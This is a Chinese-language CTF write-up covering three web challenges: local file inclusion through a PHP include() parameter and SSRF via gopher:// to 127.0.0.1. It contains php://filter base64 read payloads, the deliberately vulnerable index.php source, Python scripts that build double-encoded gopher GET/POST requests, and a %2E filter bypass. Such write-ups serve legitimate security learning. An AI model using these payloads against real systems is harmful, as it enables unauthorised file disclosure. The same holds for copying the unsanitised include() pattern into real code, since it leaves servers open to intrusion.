第一题

我们知道文件就在根目录下,那么直接 file://+filename 就 ok 了。

image-20230507141629249

第二题

还是按照第一题的思路,发现它会跳转的页面的 payload 是 file=xxx 这种格式的,那么我们很容易就像把 xxx 设为 flag.php ,但是一片空白,估计是关键词被过滤掉了,那么得转换方法。

修改为查看 index.php 文件,结果如下:

image-20230507181000370

这里应该是递归调用了,导致爆空间了,可以使用 php:// 伪协议解决。如下:

image-20230507142017992

将得到的 base64 数据解码如下:

image-20230507142126268

以相同的方法我们可以拿到 index.php 文件如下,源码面前,了无秘密。

1
2
3
4
5
6
7
8
9
<?php

$in_name=$_GET['file'];
if(isset($in_name)) {
include($in_name); // 这也解释了为什么 file 为 index.php 时会爆内存了
} else {
header('Location:index.php?file=show_image.php');
}
?>

这里的 include() 函数的作用是,包含并运行指定文件!那么当包含并运行 php 文件时,只会运行,没有结果回显啊!

php://filter/read=convert.base64-encode/resource=flag.php ,是一个PHP中的特殊文件路径,可以用于读取服务器上的文件并将其转换为 base64 编码的字符串。具体来说,这个路径会打开名为 “flag.php” 的文件,并将其内容转换为base64 编码后返回给调用者。

第三题

首先,查看目标网站,结果一打开就是 nonono,这就很尴尬了。但是在我们尝试一些 URL 时,可以看到有一些 hint!如下:

image-20230507164348527

这提示了我们去访问 flag.php,那么就访问看看咯!

image-20230507164828909

离谱,居然 must 127.0.0.1,但是我怎么用这个去访问呢?想想看它是怎么判断我们是通过什么去访问的!猜测应该是通过 HOST 吧,我们可以用 Burpsuite 抓包,然后修改 HOST 再去访问试试看。

但是很遗憾,还是出错了。那么看来不是通过 HOST 判断,而是根据真实访问的源地址了。那么很显然我们需要使用刚刚学到 gopher 伪协议了。虽然 PPT 上给的是 POST 示例的代码,但是,第一感觉还是说应该是使用 GET 请求来实现。构造脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
import urllib.parse

# 开头没有回车,结尾必须有回车!也即 GET 需要挨着 """ 写
payload = \
"""GET /flag.php HTTP/1.1
Host: 127.0.0.1
"""
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A', '%0D%0A') # 将 \n 切换为 \r\n
result = 'gopher://127.0.0.1:80/' + '_' + new
result = urllib.parse.quote(result) # 二次编码
print(result)
# gopher%3A//127.0.0.1%3A80/_GET%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250A

然后我们执行这个 URL 去访问信息,http://58.240.236.231:28003/index.php?url=gopher%3A//127.0.0.1%3A80/_GET%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250A

执行结果如下:

image-20230507172536346

不出意外的又出意外了,只支持 POST 请求,并且 POST 请求的字段是 file。没关系,那我们构造 POST 请求的脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import urllib.parse

# length 注意根据 file 字段的长度来调整
payload = \
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 14

file=/flag.txt
"""
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A', '%0D%0A')
result = 'gopher://127.0.0.1:80/' + '_' + new
result = urllib.parse.quote(result)
print(result)

这个字段名,又因为提示说 flag.php 很重要,那么可以猜测这个 php 文件的作用就是输出 file 字段对应文件的内容。所以在上面我们让 file=/flag.txt 表明我们要读取的文件,然后再去执行,很好,又出错了!

image-20230507173053609

试试别的文件名吧,比如 index.php,真的可以拿到文件内容!不过需要查看源码才能看到,我们发现,index.php 居然惨绝人寰的过滤掉了 flag.txt 这个字段!可以看到,过滤之后,这里执行了 curl_exec() 函数,这个函数会对 URL 发起访问,并将结果返回前端。

image-20230507173652900

同样我们也能看到 flag.php 这个文件的内容!

image-20230507174358805

flag.php 会输出文件内容。因此,我们需要绕过 index.phpflag.txt 的过滤,将 flag.txt 交给 flag.php。尝试了转义、通配符、反码等皆无果后,发现可以使用 %2E 代替 . 符号。这是因为 %2E. 的 URL 编码值,在 index.php 中是 %2E 没关系,传给 curl_exec() 后,又会解码一次,这样到 flag.php 时,就会变成 . 符号!

最终我们的 payload 构造脚本和结果如下:

image-20230507175207013

同样,既然有了源码,就在本地跑一跑吧。index.php 中拿到的 url 和 flag.php 中拿到的 file 的值如下:

image-20230507195523999